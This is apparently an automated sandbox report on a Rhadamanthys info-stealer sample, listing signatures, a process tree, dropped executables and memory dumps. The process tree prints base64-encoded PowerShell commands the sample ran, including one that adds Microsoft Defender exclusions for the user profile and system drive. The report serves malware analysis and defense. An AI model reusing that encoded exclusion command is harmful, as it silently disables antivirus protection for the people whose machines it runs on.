Analysis
- max time kernel
115s - max time network
145s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
05/04/2024, 01:05
General
- Target 0518892b68d9401cee558e0615322ba2a902d759e36b315a55fe7238aff71d72.exe
- Size 597KB
- Sample240405-bfmm8sgd84
- SHA256 0518892b68d9401cee558e0615322ba2a902d759e36b315a55fe7238aff71d72
Malware Config
Signatures
- Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Suspicious behavior: EnumeratesProcesses 12 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 17 IoCs
Processes
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\SysWOW64\dialer.exe"C:\Windows\system32\dialer.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\0518892b68d9401cee558e0615322ba2a902d759e36b315a55fe7238aff71d72.exe"C:\Users\Admin\AppData\Local\Temp\0518892b68d9401cee558e0615322ba2a902d759e36b315a55fe7238aff71d72.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAaQBzACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHgAZgBzACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVABoAGUAIABsAGkAYwBlAG4AcwBlACAAaABhAHMAIABlAHgAcABpAHIAZQBkAC4AIABDAG8AbgB0AGEAYwB0ACAAdQBzACAAdgBpAGEAIAB0AGUAbABlAGcAcgBhAG0AIAB0AG8AIABwAHUAcgBjAGgAYQBzAGUAIAAvACAAZwBlAHQAIABmAHIAZQBlACAAdAByAGkAYQBsACAAdgBlAHIAcwBpAG8AbgAhACcALAAnACcALAAnAE8ASwAnACwAJwBFAHIAcgBvAHIAJwApADwAIwBjAG4AaQAjAD4A"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAaQB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AcgBoACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHcAagBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAcABnACMAPgA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\XWormLoader.exe"C:\Users\Admin\AppData\Local\Temp\XWormLoader.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4900 -s 8843⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 4900 -ip 49001⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4044 --field-trial-handle=2432,i,12161922670941700748,3348345705955601576,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
XWormLoader.exe
__PSScriptPolicyTest_vsyaenhi.g1c.ps1
svchost.exe
memory/112-32-0x0000000005A70000-0x0000000006098000-memory.dmp
memory/112-92-0x0000000007AF0000-0x0000000007B93000-memory.dmp
memory/112-102-0x0000000007EA0000-0x0000000007EBA000-memory.dmp
memory/112-77-0x0000000007AB0000-0x0000000007AE2000-memory.dmp
memory/112-101-0x0000000007E60000-0x0000000007E74000-memory.dmp
memory/112-33-0x0000000003290000-0x00000000032A0000-memory.dmp
memory/112-100-0x0000000007E50000-0x0000000007E5E000-memory.dmp
memory/112-98-0x0000000003290000-0x00000000032A0000-memory.dmp
memory/112-97-0x0000000006BA0000-0x0000000006BB1000-memory.dmp
memory/112-96-0x0000000007EE0000-0x0000000007F76000-memory.dmp
memory/112-74-0x0000000073D70000-0x0000000074520000-memory.dmp
memory/112-106-0x0000000073D70000-0x0000000074520000-memory.dmp
memory/112-93-0x0000000006B60000-0x0000000006B6A000-memory.dmp
memory/112-79-0x0000000070BA0000-0x0000000070BEC000-memory.dmp
memory/112-71-0x0000000006900000-0x000000000694C000-memory.dmp
memory/112-103-0x0000000007E90000-0x0000000007E98000-memory.dmp
memory/112-70-0x00000000068C0000-0x00000000068DE000-memory.dmp
memory/112-90-0x000000007FB60000-0x000000007FB70000-memory.dmp
memory/112-69-0x00000000064E0000-0x0000000006834000-memory.dmp
memory/112-91-0x0000000006E90000-0x0000000006EAE000-memory.dmp
memory/112-24-0x0000000073D70000-0x0000000074520000-memory.dmp
memory/112-53-0x0000000006110000-0x0000000006176000-memory.dmp
memory/112-47-0x0000000005920000-0x0000000005942000-memory.dmp
memory/1664-48-0x0000000076380000-0x0000000076595000-memory.dmp
memory/1664-46-0x0000000002400000-0x0000000002800000-memory.dmp
memory/1664-44-0x00007FFCACD50000-0x00007FFCACF45000-memory.dmp
memory/1664-42-0x0000000002400000-0x0000000002800000-memory.dmp
memory/1664-72-0x0000000002400000-0x0000000002800000-memory.dmp
memory/1664-43-0x0000000002400000-0x0000000002800000-memory.dmp
memory/1664-38-0x00000000005A0000-0x00000000005A9000-memory.dmp
memory/2504-40-0x0000000000D40000-0x0000000000DAD000-memory.dmp
memory/2504-30-0x00007FFCACD50000-0x00007FFCACF45000-memory.dmp
memory/2504-21-0x0000000000D40000-0x0000000000DAD000-memory.dmp
memory/2504-25-0x0000000003800000-0x0000000003C00000-memory.dmp
memory/2504-26-0x0000000003800000-0x0000000003C00000-memory.dmp
memory/2504-28-0x0000000003800000-0x0000000003C00000-memory.dmp
memory/2504-35-0x0000000003800000-0x0000000003C00000-memory.dmp
memory/2504-36-0x0000000076380000-0x0000000076595000-memory.dmp
memory/3544-27-0x0000000002ED0000-0x0000000002F06000-memory.dmp
memory/3544-107-0x0000000005100000-0x0000000005110000-memory.dmp
memory/3544-94-0x0000000008750000-0x0000000008CF4000-memory.dmp
memory/3544-95-0x0000000007880000-0x0000000007912000-memory.dmp
memory/3544-39-0x0000000005100000-0x0000000005110000-memory.dmp
memory/3544-37-0x0000000005100000-0x0000000005110000-memory.dmp
memory/3544-111-0x0000000073D70000-0x0000000074520000-memory.dmp
memory/3544-99-0x0000000005100000-0x0000000005110000-memory.dmp
memory/3544-64-0x0000000005E50000-0x0000000005EB6000-memory.dmp
memory/3544-75-0x0000000007B20000-0x000000000819A000-memory.dmp
memory/3544-78-0x0000000006980000-0x000000000699A000-memory.dmp
memory/3544-73-0x0000000005100000-0x0000000005110000-memory.dmp
memory/3544-80-0x0000000073D70000-0x0000000074520000-memory.dmp
memory/3544-23-0x0000000073D70000-0x0000000074520000-memory.dmp
memory/4900-29-0x0000000000C30000-0x0000000000C4E000-memory.dmp
memory/4900-31-0x0000000073D70000-0x0000000074520000-memory.dmp
memory/4900-76-0x0000000073D70000-0x0000000074520000-memory.dmp